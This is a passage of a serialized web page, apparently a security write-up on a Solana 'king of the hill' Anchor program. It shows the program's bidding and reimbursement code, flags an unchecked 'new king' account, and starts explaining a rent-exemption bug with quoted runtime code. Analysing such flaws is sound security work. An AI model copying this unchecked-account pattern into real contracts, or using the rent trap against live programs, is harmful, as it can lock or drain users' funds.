147,"props":77051,"children":77052},{"style":9044},[77053],{"type":29,"value":28529},{"type":24,"tag":147,"props":77055,"children":77056},{"style":235},[77057],{"type":29,"value":11763},{"type":24,"tag":147,"props":77059,"children":77060},{"class":149,"line":272},[77061],{"type":24,"tag":147,"props":77062,"children":77063},{"emptyLinePlaceholder":16},[77064],{"type":29,"value":314},{"type":24,"tag":147,"props":77066,"children":77067},{"class":149,"line":281},[77068],{"type":24,"tag":147,"props":77069,"children":77070},{"style":154},[77071],{"type":29,"value":77072},"    /// CHECK: any writable account is allowed as a new king.\n",{"type":24,"tag":147,"props":77074,"children":77075},{"class":149,"line":299},[77076,77080,77084],{"type":24,"tag":147,"props":77077,"children":77078},{"style":235},[77079],{"type":29,"value":28731},{"type":24,"tag":147,"props":77081,"children":77082},{"style":218},[77083],{"type":29,"value":9348},{"type":24,"tag":147,"props":77085,"children":77086},{"style":235},[77087],{"type":29,"value":25862},{"type":24,"tag":147,"props":77089,"children":77090},{"class":149,"line":308},[77091,77095,77100,77104,77108,77112,77116],{"type":24,"tag":147,"props":77092,"children":77093},{"style":218},[77094],{"type":29,"value":26445},{"type":24,"tag":147,"props":77096,"children":77097},{"style":247},[77098],{"type":29,"value":77099}," new_king",{"type":24,"tag":147,"props":77101,"children":77102},{"style":241},[77103],{"type":29,"value":978},{"type":24,"tag":147,"props":77105,"children":77106},{"style":9044},[77107],{"type":29,"value":30999},{"type":24,"tag":147,"props":77109,"children":77110},{"style":235},[77111],{"type":29,"value":28524},{"type":24,"tag":147,"props":77113,"children":77114},{"style":9044},[77115],{"type":29,"value":28529},{"type":24,"tag":147,"props":77117,"children":77118},{"style":235},[77119],{"type":29,"value":11763},{"type":24,"tag":147,"props":77121,"children":77122},{"class":149,"line":317},[77123],{"type":24,"tag":147,"props":77124,"children":77125},{"emptyLinePlaceholder":16},[77126],{"type":29,"value":314},{"type":24,"tag":147,"props":77128,"children":77129},{"class":149,"line":332},[77130,77134,77138],{"type":24,"tag":147,"props":77131,"children":77132},{"style":235},[77133],{"type":29,"value":28731},{"type":24,"tag":147,"props":77135,"children":77136},{"style":218},[77137],{"type":29,"value":9348},{"type":24,"tag":147,"props":77139,"children":77140},{"style":235},[77141],{"type":29,"value":25862},{"type":24,"tag":147,"props":77143,"children":77144},{"class":149,"line":350},[77145,77149,77153,77157,77161,77165,77169],{"type":24,"tag":147,"props":77146,"children":77147},{"style":218},[77148],{"type":29,"value":26445},{"type":24,"tag":147,"props":77150,"children":77151},{"style":247},[77152],{"type":29,"value":47837},{"type":24,"tag":147,"props":77154,"children":77155},{"style":241},[77156],{"type":29,"value":978},{"type":24,"tag":147,"props":77158,"children":77159},{"style":9044},[77160],{"type":29,"value":28760},{"type":24,"tag":147,"props":77162,"children":77163},{"style":235},[77164],{"type":29,"value":28524},{"type":24,"tag":147,"props":77166,"children":77167},{"style":9044},[77168],{"type":29,"value":28529},{"type":24,"tag":147,"props":77170,"children":77171},{"style":235},[77172],{"type":29,"value":11763},{"type":24,"tag":147,"props":77174,"children":77175},{"class":149,"line":358},[77176],{"type":24,"tag":147,"props":77177,"children":77178},{"style":235},[77179],{"type":29,"value":827},{"type":24,"tag":147,"props":77181,"children":77182},{"class":149,"line":397},[77183],{"type":24,"tag":147,"props":77184,"children":77185},{"emptyLinePlaceholder":16},[77186],{"type":29,"value":314},{"type":24,"tag":147,"props":77188,"children":77189},{"class":149,"line":421},[77190],{"type":24,"tag":147,"props":77191,"children":77192},{"style":235},[77193],{"type":29,"value":77194},"#[program]\n",{"type":24,"tag":147,"props":77196,"children":77197},{"class":149,"line":435},[77198,77202,77207],{"type":24,"tag":147,"props":77199,"children":77200},{"style":218},[77201],{"type":29,"value":19307},{"type":24,"tag":147,"props":77203,"children":77204},{"style":218},[77205],{"type":29,"value":77206}," mod",{"type":24,"tag":147,"props":77208,"children":77209},{"style":235},[77210],{"type":29,"value":77211}," king_of_the_sol {\n",{"type":24,"tag":147,"props":77213,"children":77214},{"class":149,"line":444},[77215,77219,77223,77228,77232,77236,77240,77244,77248,77253,77257,77262,77266,77270,77274,77278,77282],{"type":24,"tag":147,"props":77216,"children":77217},{"style":218},[77218],{"type":29,"value":26445},{"type":24,"tag":147,"props":77220,"children":77221},{"style":218},[77222],{"type":29,"value":19312},{"type":24,"tag":147,"props":77224,"children":77225},{"style":229},[77226],{"type":29,"value":77227}," change_king",{"type":24,"tag":147,"props":77229,"children":77230},{"style":235},[77231],{"type":29,"value":480},{"type":24,"tag":147,"props":77233,"children":77234},{"style":247},[77235],{"type":29,"value":25884},{"type":24,"tag":147,"props":77237,"children":77238},{"style":241},[77239],{"type":29,"value":978},{"type":24,"tag":147,"props":77241,"children":77242},{"style":9044},[77243],{"type":29,"value":25893},{"type":24,"tag":147,"props":77245,"children":77246},{"style":235},[77247],{"type":29,"value":3583},{"type":24,"tag":147,"props":77249,"children":77250},{"style":9044},[77251],{"type":29,"value":77252},"ChangeKing",{"type":24,"tag":147,"props":77254,"children":77255},{"style":235},[77256],{"type":29,"value":12256},{"type":24,"tag":147,"props":77258,"children":77259},{"style":247},[77260],{"type":29,"value":77261},"bid_amount",{"type":24,"tag":147,"props":77263,"children":77264},{"style":241},[77265],{"type":29,"value":978},{"type":24,"tag":147,"props":77267,"children":77268},{"style":9044},[77269],{"type":29,"value":11484},{"type":24,"tag":147,"props":77271,"children":77272},{"style":235},[77273],{"type":29,"value":564},{"type":24,"tag":147,"props":77275,"children":77276},{"style":241},[77277],{"type":29,"value":495},{"type":24,"tag":147,"props":77279,"children":77280},{"style":9044},[77281],{"type":29,"value":19378},{"type":24,"tag":147,"props":77283,"children":77284},{"style":235},[77285],{"type":29,"value":25935},{"type":24,"tag":147,"props":77287,"children":77288},{"class":149,"line":452},[77289],{"type":24,"tag":147,"props":77290,"children":77291},{"style":154},[77292],{"type":29,"value":77293},"        // Check that bid_amount is at least 2x last_bid_amount\n",{"type":24,"tag":147,"props":77295,"children":77296},{"class":149,"line":461},[77297,77301,77305,77309,77313,77317,77321,77325,77329,77334,77338,77343,77347,77351],{"type":24,"tag":147,"props":77298,"children":77299},{"style":229},[77300],{"type":29,"value":70029},{"type":24,"tag":147,"props":77302,"children":77303},{"style":235},[77304],{"type":29,"value":480},{"type":24,"tag":147,"props":77306,"children":77307},{"style":247},[77308],{"type":29,"value":77261},{"type":24,"tag":147,"props":77310,"children":77311},{"style":241},[77312],{"type":29,"value":1623},{"type":24,"tag":147,"props":77314,"children":77315},{"style":247},[77316],{"type":29,"value":31444},{"type":24,"tag":147,"props":77318,"children":77319},{"style":241},[77320],{"type":29,"value":87},{"type":24,"tag":147,"props":77322,"children":77323},{"style":235},[77324],{"type":29,"value":20289},{"type":24,"tag":147,"props":77326,"children":77327},{"style":241},[77328],{"type":29,"value":87},{"type":24,"tag":147,"props":77330,"children":77331},{"style":235},[77332],{"type":29,"value":77333},"throne",{"type":24,"tag":147,"props":77335,"children":77336},{"style":241},[77337],{"type":29,"value":87},{"type":24,"tag":147,"props":77339,"children":77340},{"style":235},[77341],{"type":29,"value":77342},"last_bid_amount ",{"type":24,"tag":147,"props":77344,"children":77345},{"style":241},[77346],{"type":29,"value":244},{"type":24,"tag":147,"props":77348,"children":77349},{"style":705},[77350],{"type":29,"value":13560},{"type":24,"tag":147,"props":77352,"children":77353},{"style":235},[77354],{"type":29,"value":1473},{"type":24,"tag":147,"props":77356,"children":77357},{"class":149,"line":469},[77358,77363],{"type":24,"tag":147,"props":77359,"children":77360},{"style":229},[77361],{"type":29,"value":77362},"        transfer_from_signer",{"type":24,"tag":147,"props":77364,"children":77365},{"style":235},[77366],{"type":29,"value":9088},{"type":24,"tag":147,"props":77368,"children":77369},{"class":149,"line":508},[77370,77374,77378,77382,77386,77390],{"type":24,"tag":147,"props":77371,"children":77372},{"style":241},[77373],{"type":29,"value":13310},{"type":24,"tag":147,"props":77375,"children":77376},{"style":247},[77377],{"type":29,"value":25884},{"type":24,"tag":147,"props":77379,"children":77380},{"style":241},[77381],{"type":29,"value":87},{"type":24,"tag":147,"props":77383,"children":77384},{"style":235},[77385],{"type":29,"value":20289},{"type":24,"tag":147,"props":77387,"children":77388},{"style":241},[77389],{"type":29,"value":87},{"type":24,"tag":147,"props":77391,"children":77392},{"style":235},[77393],{"type":29,"value":77394},"payer,\n",{"type":24,"tag":147,"props":77396,"children":77397},{"class":149,"line":572},[77398,77402,77406,77410,77414,77418,77422,77426,77431],{"type":24,"tag":147,"props":77399,"children":77400},{"style":241},[77401],{"type":29,"value":13310},{"type":24,"tag":147,"props":77403,"children":77404},{"style":247},[77405],{"type":29,"value":25884},{"type":24,"tag":147,"props":77407,"children":77408},{"style":241},[77409],{"type":29,"value":87},{"type":24,"tag":147,"props":77411,"children":77412},{"style":235},[77413],{"type":29,"value":20289},{"type":24,"tag":147,"props":77415,"children":77416},{"style":241},[77417],{"type":29,"value":87},{"type":24,"tag":147,"props":77419,"children":77420},{"style":235},[77421],{"type":29,"value":77333},{"type":24,"tag":147,"props":77423,"children":77424},{"style":241},[77425],{"type":29,"value":87},{"type":24,"tag":147,"props":77427,"children":77428},{"style":229},[77429],{"type":29,"value":77430},"to_account_info",{"type":24,"tag":147,"props":77432,"children":77433},{"style":235},[77434],{"type":29,"value":9116},{"type":24,"tag":147,"props":77436,"children":77437},{"class":149,"line":591},[77438,77443],{"type":24,"tag":147,"props":77439,"children":77440},{"style":247},[77441],{"type":29,"value":77442},"            bid_amount",{"type":24,"tag":147,"props":77444,"children":77445},{"style":235},[77446],{"type":29,"value":1549},{"type":24,"tag":147,"props":77448,"children":77449},{"class":149,"line":632},[77450,77455,77459],{"type":24,"tag":147,"props":77451,"children":77452},{"style":235},[77453],{"type":29,"value":77454},"        )",{"type":24,"tag":147,"props":77456,"children":77457},{"style":241},[77458],{"type":29,"value":8785},{"type":24,"tag":147,"props":77460,"children":77461},{"style":235},[77462],{"type":29,"value":432},{"type":24,"tag":147,"props":77464,"children":77465},{"class":149,"line":659},[77466],{"type":24,"tag":147,"props":77467,"children":77468},{"emptyLinePlaceholder":16},[77469],{"type":29,"value":314},{"type":24,"tag":147,"props":77471,"children":77472},{"class":149,"line":684},[77473],{"type":24,"tag":147,"props":77474,"children":77475},{"style":154},[77476],{"type":29,"value":77477},"        // Reimburse 95% of the last bid to the old king\n",{"type":24,"tag":147,"props":77479,"children":77480},{"class":149,"line":715},[77481,77485,77490,77494,77498,77502,77506,77510,77514,77518,77522,77526,77530,77535,77539,77543,77548],{"type":24,"tag":147,"props":77482,"children":77483},{"style":218},[77484],{"type":29,"value":8696},{"type":24,"tag":147,"props":77486,"children":77487},{"style":247},[77488],{"type":29,"value":77489}," to_reimburse",{"type":24,"tag":147,"props":77491,"children":77492},{"style":241},[77493],{"type":29,"value":651},{"type":24,"tag":147,"props":77495,"children":77496},{"style":235},[77497],{"type":29,"value":408},{"type":24,"tag":147,"props":77499,"children":77500},{"style":247},[77501],{"type":29,"value":25884},{"type":24,"tag":147,"props":77503,"children":77504},{"style":241},[77505],{"type":29,"value":87},{"type":24,"tag":147,"props":77507,"children":77508},{"style":235},[77509],{"type":29,"value":20289},{"type":24,"tag":147,"props":77511,"children":77512},{"style":241},[77513],{"type":29,"value":87},{"type":24,"tag":147,"props":77515,"children":77516},{"style":235},[77517],{"type":29,"value":77333},{"type":24,"tag":147,"props":77519,"children":77520},{"style":241},[77521],{"type":29,"value":87},{"type":24,"tag":147,"props":77523,"children":77524},{"style":235},[77525],{"type":29,"value":77342},{"type":24,"tag":147,"props":77527,"children":77528},{"style":241},[77529],{"type":29,"value":244},{"type":24,"tag":147,"props":77531,"children":77532},{"style":705},[77533],{"type":29,"value":77534}," 9500",{"type":24,"tag":147,"props":77536,"children":77537},{"style":235},[77538],{"type":29,"value":564},{"type":24,"tag":147,"props":77540,"children":77541},{"style":241},[77542],{"type":29,"value":10204},{"type":24,"tag":147,"props":77544,"children":77545},{"style":705},[77546],{"type":29,"value":77547}," 10000",{"type":24,"tag":147,"props":77549,"children":77550},{"style":235},[77551],{"type":29,"value":432},{"type":24,"tag":147,"props":77553,"children":77554},{"class":149,"line":744},[77555,77560],{"type":24,"tag":147,"props":77556,"children":77557},{"style":229},[77558],{"type":29,"value":77559},"        transfer_from_pda",{"type":24,"tag":147,"props":77561,"children":77562},{"style":235},[77563],{"type":29,"value":9088},{"type":24,"tag":147,"props":77565,"children":77566},{"class":149,"line":784},[77567,77571,77575,77579,77583,77587,77591,77595,77599],{"type":24,"tag":147,"props":77568,"children":77569},{"style":241},[77570],{"type":29,"value":13310},{"type":24,"tag":147,"props":77572,"children":77573},{"style":247},[77574],{"type":29,"value":25884},{"type":24,"tag":147,"props":77576,"children":77577},{"style":241},[77578],{"type":29,"value":87},{"type":24,"tag":147,"props":77580,"children":77581},{"style":235},[77582],{"type":29,"value":20289},{"type":24,"tag":147,"props":77584,"children":77585},{"style":241},[77586],{"type":29,"value":87},{"type":24,"tag":147,"props":77588,"children":77589},{"style":235},[77590],{"type":29,"value":77333},{"type":24,"tag":147,"props":77592,"children":77593},{"style":241},[77594],{"type":29,"value":87},{"type":24,"tag":147,"props":77596,"children":77597},{"style":229},[77598],{"type":29,"value":77430},{"type":24,"tag":147,"props":77600,"children":77601},{"style":235},[77602],{"type":29,"value":9116},{"type":24,"tag":147,"props":77604,"children":77605},{"class":149,"line":792},[77606,77610,77614,77618,77622,77626],{"type":24,"tag":147,"props":77607,"children":77608},{"style":241},[77609],{"type":29,"value":13310},{"type":24,"tag":147,"props":77611,"children":77612},{"style":247},[77613],{"type":29,"value":25884},{"type":24,"tag":147,"props":77615,"children":77616},{"style":241},[77617],{"type":29,"value":87},{"type":24,"tag":147,"props":77619,"children":77620},{"style":235},[77621],{"type":29,"value":20289},{"type":24,"tag":147,"props":77623,"children":77624},{"style":241},[77625],{"type":29,"value":87},{"type":24,"tag":147,"props":77627,"children":77628},{"style":235},[77629],{"type":29,"value":77630},"old_king,\n",{"type":24,"tag":147,"props":77632,"children":77633},{"class":149,"line":805},[77634,77639],{"type":24,"tag":147,"props":77635,"children":77636},{"style":247},[77637],{"type":29,"value":77638},"            to_reimburse",{"type":24,"tag":147,"props":77640,"children":77641},{"style":235},[77642],{"type":29,"value":1549},{"type":24,"tag":147,"props":77644,"children":77645},{"class":149,"line":813},[77646,77650,77654],{"type":24,"tag":147,"props":77647,"children":77648},{"style":235},[77649],{"type":29,"value":77454},{"type":24,"tag":147,"props":77651,"children":77652},{"style":241},[77653],{"type":29,"value":8785},{"type":24,"tag":147,"props":77655,"children":77656},{"style":235},[77657],{"type":29,"value":432},{"type":24,"tag":147,"props":77659,"children":77660},{"class":149,"line":821},[77661],{"type":24,"tag":147,"props":77662,"children":77663},{"emptyLinePlaceholder":16},[77664],{"type":29,"value":314},{"type":24,"tag":147,"props":77666,"children":77667},{"class":149,"line":1902},[77668],{"type":24,"tag":147,"props":77669,"children":77670},{"style":154},[77671],{"type":29,"value":77672},"        // Set new king\n",{"type":24,"tag":147,"props":77674,"children":77675},{"class":149,"line":1920},[77676,77680,77684,77688,77692,77696,77700,77705,77709,77713,77717,77721,77725,77730,77734,77739],{"type":24,"tag":147,"props":77677,"children":77678},{"style":247},[77679],{"type":29,"value":31787},{"type":24,"tag":147,"props":77681,"children":77682},{"style":241},[77683],{"type":29,"value":87},{"type":24,"tag":147,"props":77685,"children":77686},{"style":235},[77687],{"type":29,"value":20289},{"type":24,"tag":147,"props":77689,"children":77690},{"style":241},[77691],{"type":29,"value":87},{"type":24,"tag":147,"props":77693,"children":77694},{"style":235},[77695],{"type":29,"value":77333},{"type":24,"tag":147,"props":77697,"children":77698},{"style":241},[77699],{"type":29,"value":87},{"type":24,"tag":147,"props":77701,"children":77702},{"style":235},[77703],{"type":29,"value":77704},"king ",{"type":24,"tag":147,"props":77706,"children":77707},{"style":241},[77708],{"type":29,"value":369},{"type":24,"tag":147,"props":77710,"children":77711},{"style":247},[77712],{"type":29,"value":31444},{"type":24,"tag":147,"props":77714,"children":77715},{"style":241},[77716],{"type":29,"value":87},{"type":24,"tag":147,"props":77718,"children":77719},{"style":235},[77720],{"type":29,"value":20289},{"type":24,"tag":147,"props":77722,"children":77723},{"style":241},[77724],{"type":29,"value":87},{"type":24,"tag":147,"props":77726,"children":77727},{"style":235},[77728],{"type":29,"value":77729},"new_king",{"type":24,"tag":147,"props":77731,"children":77732},{"style":241},[77733],{"type":29,"value":87},{"type":24,"tag":147,"props":77735,"children":77736},{"style":229},[77737],{"type":29,"value":77738},"key",{"type":24,"tag":147,"props":77740,"children":77741},{"style":235},[77742],{"type":29,"value":9295},{"type":24,"tag":147,"props":77744,"children":77745},{"class":149,"line":1929},[77746,77750,77754,77758,77762,77766,77770,77774,77778,77783],{"type":24,"tag":147,"props":77747,"children":77748},{"style":247},[77749],{"type":29,"value":31787},{"type":24,"tag":147,"props":77751,"children":77752},{"style":241},[77753],{"type":29,"value":87},{"type":24,"tag":147,"props":77755,"children":77756},{"style":235},[77757],{"type":29,"value":20289},{"type":24,"tag":147,"props":77759,"children":77760},{"style":241},[77761],{"type":29,"value":87},{"type":24,"tag":147,"props":77763,"children":77764},{"style":235},[77765],{"type":29,"value":77333},{"type":24,"tag":147,"props":77767,"children":77768},{"style":241},[77769],{"type":29,"value":87},{"type":24,"tag":147,"props":77771,"children":77772},{"style":235},[77773],{"type":29,"value":77342},{"type":24,"tag":147,"props":77775,"children":77776},{"style":241},[77777],{"type":29,"value":369},{"type":24,"tag":147,"props":77779,"children":77780},{"style":247},[77781],{"type":29,"value":77782}," bid_amount",{"type":24,"tag":147,"props":77784,"children":77785},{"style":235},[77786],{"type":29,"value":432},{"type":24,"tag":147,"props":77788,"children":77789},{"class":149,"line":1938},[77790,77794,77798,77802,77806,77810,77814,77819,77823,77828,77832,77836,77840,77844,77849,77853,77857],{"type":24,"tag":147,"props":77791,"children":77792},{"style":247},[77793],{"type":29,"value":31787},{"type":24,"tag":147,"props":77795,"children":77796},{"style":241},[77797],{"type":29,"value":87},{"type":24,"tag":147,"props":77799,"children":77800},{"style":235},[77801],{"type":29,"value":20289},{"type":24,"tag":147,"props":77803,"children":77804},{"style":241},[77805],{"type":29,"value":87},{"type":24,"tag":147,"props":77807,"children":77808},{"style":235},[77809],{"type":29,"value":77333},{"type":24,"tag":147,"props":77811,"children":77812},{"style":241},[77813],{"type":29,"value":87},{"type":24,"tag":147,"props":77815,"children":77816},{"style":235},[77817],{"type":29,"value":77818},"last_time ",{"type":24,"tag":147,"props":77820,"children":77821},{"style":241},[77822],{"type":29,"value":369},{"type":24,"tag":147,"props":77824,"children":77825},{"style":9044},[77826],{"type":29,"value":77827}," Clock",{"type":24,"tag":147,"props":77829,"children":77830},{"style":241},[77831],{"type":29,"value":9106},{"type":24,"tag":147,"props":77833,"children":77834},{"style":229},[77835],{"type":29,"value":21960},{"type":24,"tag":147,"props":77837,"children":77838},{"style":235},[77839],{"type":29,"value":19495},{"type":24,"tag":147,"props":77841,"children":77842},{"style":241},[77843],{"type":29,"value":8763},{"type":24,"tag":147,"props":77845,"children":77846},{"style":235},[77847],{"type":29,"value":77848},"unix_timestamp ",{"type":24,"tag":147,"props":77850,"children":77851},{"style":218},[77852],{"type":29,"value":14467},{"type":24,"tag":147,"props":77854,"children":77855},{"style":9044},[77856],{"type":29,"value":11484},{"type":24,"tag":147,"props":77858,"children":77859},{"style":235},[77860],{"type":29,"value":432},{"type":24,"tag":147,"props":77862,"children":77863},{"class":149,"line":1946},[77864],{"type":24,"tag":147,"props":77865,"children":77866},{"emptyLinePlaceholder":16},[77867],{"type":29,"value":314},{"type":24,"tag":147,"props":77869,"children":77870},{"class":149,"line":1955},[77871,77875],{"type":24,"tag":147,"props":77872,"children":77873},{"style":9044},[77874],{"type":29,"value":20425},{"type":24,"tag":147,"props":77876,"children":77877},{"style":235},[77878],{"type":29,"value":19952},{"type":24,"tag":147,"props":77880,"children":77881},{"class":149,"line":29376},[77882],{"type":24,"tag":147,"props":77883,"children":77884},{"style":235},[77885],{"type":29,"value":1952},{"type":24,"tag":147,"props":77887,"children":77888},{"class":149,"line":29384},[77889],{"type":24,"tag":147,"props":77890,"children":77891},{"style":235},[77892],{"type":29,"value":827},{"type":24,"tag":25,"props":77894,"children":77895},{},[77896],{"type":29,"value":77897},"Note this comment:",{"type":24,"tag":98,"props":77899,"children":77900},{},[77901],{"type":24,"tag":25,"props":77902,"children":77903},{},[77904],{"type":29,"value":77905},"any writable account is allowed as a new king.",{"type":24,"tag":25,"props":77907,"children":77908},{},[77909],{"type":29,"value":77910},"...Is our assumption correct?",{"type":24,"tag":32,"props":77912,"children":77914},{"id":77913},"the-bugs-lurking-beneath",[77915],{"type":29,"value":77916},"The Bugs Lurking Beneath",{"type":24,"tag":43,"props":77918,"children":77920},{"id":77919},"bug-1-the-rent-exemption-trap",[77921],{"type":29,"value":77922},"Bug 1: The Rent-Exemption Trap",{"type":24,"tag":25,"props":77924,"children":77925},{},[77926,77928,77933],{"type":29,"value":77927},"On Solana, all accounts must maintain a ",{"type":24,"tag":10949,"props":77929,"children":77930},{},[77931],{"type":29,"value":77932},"minimum balance",{"type":29,"value":77934}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":24,"tag":22292,"props":77936,"children":77937},{},[77938,77953],{"type":24,"tag":2678,"props":77939,"children":77940},{},[77941,77946,77947],{"type":24,"tag":10949,"props":77942,"children":77943},{},[77944],{"type":29,"value":77945},"Uninitialized",{"type":29,"value":20943},{"type":24,"tag":80,"props":77948,"children":77950},{"className":77949},[],[77951],{"type":29,"value":77952},"lamports = 0",{"type":24,"tag":2678,"props":77954,"children":77955},{},[77956,77961,77962],{"type":24,"tag":10949,"props":77957,"children":77958},{},[77959],{"type":29,"value":77960},"Initialized",{"type":29,"value":20943},{"type":24,"tag":80,"props":77963,"children":77965},{"className":77964},[],[77966],{"type":29,"value":77967},"lamports >= rent-exempt threshold",{"type":24,"tag":25,"props":77969,"children":77970},{},[77971,77973,77978],{"type":29,"value":77972},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":24,"tag":10949,"props":77974,"children":77975},{},[77976],{"type":29,"value":77977},"account metadata",{"type":29,"value":77979}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":24,"tag":25,"props":77981,"children":77982},{},[77983,77985,77991],{"type":29,"value":77984},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":24,"tag":80,"props":77986,"children":77988},{"className":77987},[],[77989],{"type":29,"value":77990},"data.len() == 0",{"type":29,"value":77992}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":24,"tag":25,"props":77994,"children":77995},{},[77996,77998,78004],{"type":29,"value":77997},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":24,"tag":2773,"props":77999,"children":78002},{"href":78000,"rel":78001},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[2777],[78003],{"type":29,"value":8440},{"type":29,"value":87},{"type":24,"tag":137,"props":78006,"children":78008},{"className":8614,"code":78007,"language":8613,"meta":7,"style":7},"    fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n        match post_rent_state {\n            RentState::Uninitialized | RentState::RentExempt => true,\n            RentState::RentPaying {\n                data_size: post_data_size,\n                lamports: post_lamports,\n            } => {\n                match pre_rent_state {\n                    RentState::Uninitialized | RentState::RentExempt => false,\n                    RentState::RentPaying {\n                        data_size: pre_data_size,\n                        lamports: pre_lamports,\n                    } => {\n                        // Cannot remain RentPaying if resized or credited.\n                        post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n                    }\n                }\n            }\n        }\n    }\n",[78009],{"type":24,"tag":80,"props":78010,"children":78011},{"__ignoreMap":7},[78012,78096,78113,78159,78179,78200,78221,78236,78253,78297,78316,78337,78358,78374,78382,78415,78422,78429,78436,78443],{"type":24,"tag":147,"props":78013,"children":78014},{"class":149,"line":150},[78015,78020,78025,78029,78033,78037,78041,78046,78050,78054,78059,78063,78068,78072,78076,78080,78084,78088,78092],{"type":24,"tag":147,"props":78016,"children":78017},{"style":218},[78018],{"type":29,"value":78019},"    fn",{"type":24,"tag":147,"props":78021,"children":78022},{"style":229},[78023],{"type":29,"value":78024}," transition_allowed",{"type":24,"tag":147,"props":78026,"children":78027},{"style":235},[78028],{"type":29,"value":480},{"type":24,"tag":147,"props":78030,"children":78031},{"style":241},[78032],{"type":29,"value":485},{"type":24,"tag":147,"props":78034,"children":78035},{"style":218},[78036],{"type":29,"value":19330},{"type":24,"tag":147,"props":78038,"children":78039},{"style":235},[78040],{"type":29,"value":546},{"type":24,"tag":147,"props":78042,"children":78043},{"style":247},[78044],{"type":29,"value":78045},"pre_rent_state",{"type":24,"tag":147,"props":78047,"children":78048},{"style":241},[78049],{"type":29,"value":978},{"type":24,"tag":147,"props":78051,"children":78052},{"style":241},[78053],{"type":29,"value":12767},{"type":24,"tag":147,"props":78055,"children":78056},{"style":9044},[78057],{"type":29,"value":78058},"RentState",{"type":24,"tag":147,"props":78060,"children":78061},{"style":235},[78062],{"type":29,"value":546},{"type":24,"tag":147,"props":78064,"children":78065},{"style":247},[78066],{"type":29,"value":78067},"post_rent_state",{"type":24,"tag":147,"props":78069,"children":78070},{"style":241},[78071],{"type":29,"value":978},{"type":24,"tag":147,"props":78073,"children":78074},{"style":241},[78075],{"type":29,"value":12767},{"type":24,"tag":147,"props":78077,"children":78078},{"style":9044},[78079],{"type":29,"value":78058},{"type":24,"tag":147,"props":78081,"children":78082},{"style":235},[78083],{"type":29,"value":564},{"type":24,"tag":147,"props":78085,"children":78086},{"style":241},[78087],{"type":29,"value":495},{"type":24,"tag":147,"props":78089,"children":78090},{"style":9044},[78091],{"type":29,"value":17669},{"type":24,"tag":147,"props":78093,"children":78094},{"style":235},[78095],{"type":29,"value":6630},{"type":24,"tag":147,"props":78097,"children":78098},{"class":149,"line":160},[78099,78104,78109],{"type":24,"tag":147,"props":78100,"children":78101},{"style":321},[78102],{"type":29,"value":78103},"        match",{"type":24,"tag":147,"props":78105,"children":78106},{"style":247},[78107],{"type":29,"value":78108}," post_rent_state",{"type":24,"tag":147,"props":78110,"children":78111},{"style":235},[78112],{"type":29,"value":6630},{"type":24,"tag":147,"props":78114,"children":78115},{"class":149,"line":169},[78116,78121,78125,78129,78133,78138,78142,78147,78151,78155],{"type":24,"tag":147,"props":78117,"children":78118},{"style":9044},[78119],{"type":29,"value":78120},"            RentState",{"type":24,"tag":147,"props":78122,"children":78123},{"style":241},[78124],{"type":29,"value":9106},{"type":24,"tag":147,"props":78126,"children":78127},{"style":9044},[78128],{"type":29,"value":77945},{"type":24,"tag":147,"props":78130,"children":78131},{"style":241},[78132],{"type":29,"value":9895},{"type":24,"tag":147,"props":78134,"children":78135},{"style":9044},[78136],{"type":29,"value":78137}," RentState",{"type":24,"tag":147,"props":78139,"children":78140},{"style":241},[78141],{"type":29,"value":9106},{"type":24,"tag":147,"props":78143,"children":78144},{"style":9044},[78145],{"type":29,"value":78146},"RentExempt",{"type":24,"tag":147,"props":78148,"children":78149},{"style":241},[78150],{"type":29,"value":33354},{"type":24,"tag":147,"props":78152,"children":78153},{"style":218},[78154],{"type":29,"value":18087},{"type":24,"tag":147,"props":78156,"children":78157},{"style":235},[78158],{"type":29,"value":1549},{"type":24,"tag":147,"props":78160,"children":78161},{"class":149,"line":178},[78162,78166,78170,78175],{"type":24,"tag":147,"props":78163,"children":78164},{"style":9044},[78165],{"type":29,"value":78120},{"type":24,"tag":147,"props":78167,"children":78168},{"style":241},[78169],{"type":29,"value":9106},{"type":24,"tag":147,"props":78171,"children":78172},{"style":9044},[78173],{"type":29,"value":78174},"RentPaying",{"type":24,"tag":147,"props":78176,"children":78177},{"style":235},[78178],{"type":29,"value":6630},{"type":24,"tag":147,"props":78180,"children":78181},{"class":149,"line":187},[78182,78187,78191,78196],{"type":24,"tag":147,"props":78183,"children":78184},{"style":247},[78185],{"type":29,"value":78186},"                data_size",{"type":24,"tag":147,"props":78188,"children":78189},{"style":241},[78190],{"type":29,"value":978},{"type":24,"tag":147,"props":78192,"children":78193},{"style":247},[78194],{"type":29,"value":78195}," post_data_size",{"type":24,"tag":147,"props":78197,"children":78198},{"style":235},[78199],{"type":29,"value":1549},{"type":24,"tag":147,"props":78201,"children":78202},{"class":149,"line":196},[78203,78208,78212,78217],{"type":24,"tag":147,"props":78204,"children":78205},{"style":247},[78206],{"type":29,"value":78207},"                lamports",{"type":24,"tag":147,"props":78209,"children":78210},{"style":241},[78211],{"type":29,"value":978},{"type":24,"tag":147,"props":78213,"children":78214},{"style":247},[78215],{"type":29,"value":78216}," post_lamports",{"type":24,"tag":147,"props":78218,"children":78219},{"style":235},[78220],{"type":29,"value":1549},{"type":24,"tag":147,"props":78222,"children":78223},{"class":149,"line":205},[78224,78228,78232],{"type":24,"tag":147,"props":78225,"children":78226},{"style":235},[78227],{"type":29,"value":76177},{"type":24,"tag":147,"props":78229,"children":78230},{"style":241},[78231],{"type":29,"value":20435},{"type":24,"tag":147,"props":78233,"children":78234},{"style":235},[78235],{"type":29,"value":6630},{"type":24,"tag":147,"props":78237,"children":78238},{"class":149,"line":214},[78239,78244,78249],{"type":24,"tag":147,"props":78240,"children":78241},{"style":321},[78242],{"type":29,"value":78243},"                match",{"type":24,"tag":147,"props":78245,"children":78246},{"style":247},[78247],{"type":29,"value":78248}," 